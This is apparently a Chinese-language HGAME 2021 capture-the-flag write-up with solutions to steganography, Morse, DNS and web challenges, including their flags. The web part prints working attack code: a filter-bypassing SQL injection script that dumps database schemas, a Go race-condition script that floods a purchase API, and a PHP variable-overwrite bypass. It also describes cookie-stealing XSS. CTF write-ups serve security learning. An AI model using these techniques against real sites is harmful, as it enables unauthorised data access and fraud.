Misc:

misc1 [Tools]:

第一步需要用到的是F5隐写, 这种隐写需要一个密码, 密码就在图片的属性中.
得到压缩包密码: e@317S*p1A4bIYIs1M

第二步需要用到steghide, 需要的密码同样在图片属性中.
得到压缩包密码u0!FO4JUhl5!L55%$&

第三部需要用到Outguess, 需要的密码也在图片属性中
得到压缩包密码@UjXL93044V5zl2ZKI

第四步需要用到JPHS, 需要的密码同上
得到压缩包密码xSRejK1^Z1Cp9M!z@H

这样我们就得到了四份裂开的二维码, 拼接起来.

hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

misc2 [Telegraph:1601 6639 3459 3134 0892]:

就是个简单的音频里面有一段摩斯电码啦

-.-- --- ..- .-. ..-. .-.. .- --. .. ... ---... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..

hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}

misc3 [Hallucigenia]:

拿到了一张png图片, 看看是不是LSB隐写, 然后在Green plane 0也就是绿色的最低位发现了一个二维码.

拿去解码得到了一大段base64

gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=

解码之后很乱, 不过能看出来是PNG文件的格式, 但是字节都是反的, 需要解码之后给他再反过来一遍.

直接上脚本

import base64
cipher = "gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk="
png_data = base64.b64decode(cipher)[::-1]
with open("flag.png", "wb") as fp:
    fp.write(png_data)

然后得到了一张…

嗯, 真应了题目名字了, 图片还是倒影.

不过可以使用在线工具https://www.liaotiantu.com/imgtool/reverse#xztp

嗯, 就得到了flag。

hgame{tenchi_souzou_dezain_bu}

misc4 [DNS]:

一个数据包, 提示是dns, 使用wireshark打开之后看DNS的数据包, 发现了一个域名flag.hgame2021.cf, 拿出来去浏览器访问, 查看源码发现是无限弹窗.

但是有个提示, SPF使用nslookup得到flag

nslookup -type=txt flag.hgame2021.cf

hgame{D0main_N4me_5ystem}

Web

web1 [LazyDogR4U]:

只有一个登录框, 然后尝试泄露源码, www.zip成功下载到网站源码.

根据flag.php提示, 只要$_SEESION['username'] === admin 就可以得到flag.

然后flag.php引入了lazy.php, 再继续看lazy.php

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}

发现这个东西可以用来赋值变量.

根据一开始的只要达成$_SEESION['username'] === admin, 就可以得到flag了.
那就可以给_SESSION这个全局变量操作一下, 因为是个数组, 需要_SESSION[key], key当然填写username啦.

并没有返回预期的username|test, 再次查看代码发现有str_replace, 会将$filter数组里面的几个关键字给替换成空, 可以双写绕过.

最后修改一下payload, 将test改成admin.

web2 [Post to zuckonit]:

一个简单的xss, 就是checker的速度有点慢, 导致我一直以为是xss没工作.

需要爆破一个md5的前六位相等的作为验证码, 使用python写一个就好了

import hashlib

i = 0
while True:
    temp = hashlib.md5(str(i).encode("utf-8")).hexdigest()
    if temp[:6] == "97874b":
        print(i, temp)
        break
    i += 1


拿到token之后访问/flag

hgame{X5s_t0_GEt_@dm1n’s_cOokies.}

web3 [200OK!!]

打开发现一个按钮, 点一下会异步发送一个请求, 请求头中有一个status参数, 这个参数可输入的范围是0~15, 又扫描了一下网站,也没有发现其他有价值的, 那么只有这个status参数可以搞了.

考虑是SQL注入, 尝试1' and 1='1-- -', 没有回显?

过滤了普通的sql语句, 可以使用大写绕过, 还过滤了空格, 使用/**/绕过.

可以看到只有一字段

好了, 知道过滤了什么, 也知道有多少个字段了, 可以去拿flag了.

# Author: Hel1antHu5
import requests

url = "https://200ok.liki.link/server.php"

def processPayload():
    result = []
    fuck = ["union", "select", "from", "order", "by", "where"]
    for i in payload.split(" "):
        if i in fuck:
            result.append(i[0].upper() + i[1:])
        else:
            result.append(i)
    return "/**/".join(result)

def poc(payload):
    response = requests.post(url, headers={
        "status": payload
    })
    print(response.text)

if __name__ == '__main__':
    # Input your payload

    # Get all databases name
    payload = "-1' union select group_concat(schema_name) from information_schema.schemata#"

    # Get all tables from week2sqli
    payload = "-1' union select group_concat(table_name) from information_schema.tables where table_schema='week2sqli'#"

    # Get all columns from week2sqli.f1111111144444444444g
    payload = "-1' union select group_concat(column_name) from information_schema.columns where table_name='f1111111144444444444g'#"

    # Get FLAG
    payload = "-1' union select group_concat(ffffff14gggggg) from week2sqli.f1111111144444444444g#"

    payload = processPayload()

    print(payload)
    print()
    poc(payload)

hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

web4 [Liki的生日礼物]

打开发现是一个登录, 和注册, 是可以随便注册的, 进去之后发现是商城买switch, 然后给2000元, 52张兑换券给flag, 一个兑换券40,最多只能兑换50张, 并没有找到其他东西, 考虑去竞争脏读写数据.

就是多开几个线程去发送购买的请求包, 可以使用burp中的爆破功能, 不过我电脑性能属实对不起Java, burp开的多线程没效果, 然后想到了自己之前为了应对并发学的Go. 这里就直接用Go写了个脚本啦.

package main

import (
    "fmt"
    "github.com/guonaihong/gout"
    "net/http"
    "time"
)

var globalChannel = make(chan int)

func Process(i int)  {
    err := gout.
        POST("https://birthday.liki.link/API/?m=buy").
        SetForm(gout.H{"amount": 5}).
        SetCookies(&http.Cookie{Name: "PHPSESSID", Value: "pp56p2fr7iub7qbilgko87lmk1"}).
        SetTimeout(2 * time.Second).
        Do()

    if err != nil {
        fmt.Println(err)
    }
    globalChannel <- i
}
func main() {
    for i := 0; i < 100; i++ {
        go Process(i)
        fmt.Printf("[+] 已启动%d号协程.\n", i)
    }

    for i := 0; i < 100; i++ {
        number := <-globalChannel
        fmt.Printf("[-] %d号协程任务结束.\n", number)
    }

}

hgame{L0ck_1s_TH3_S0lllut!on!!!}


:D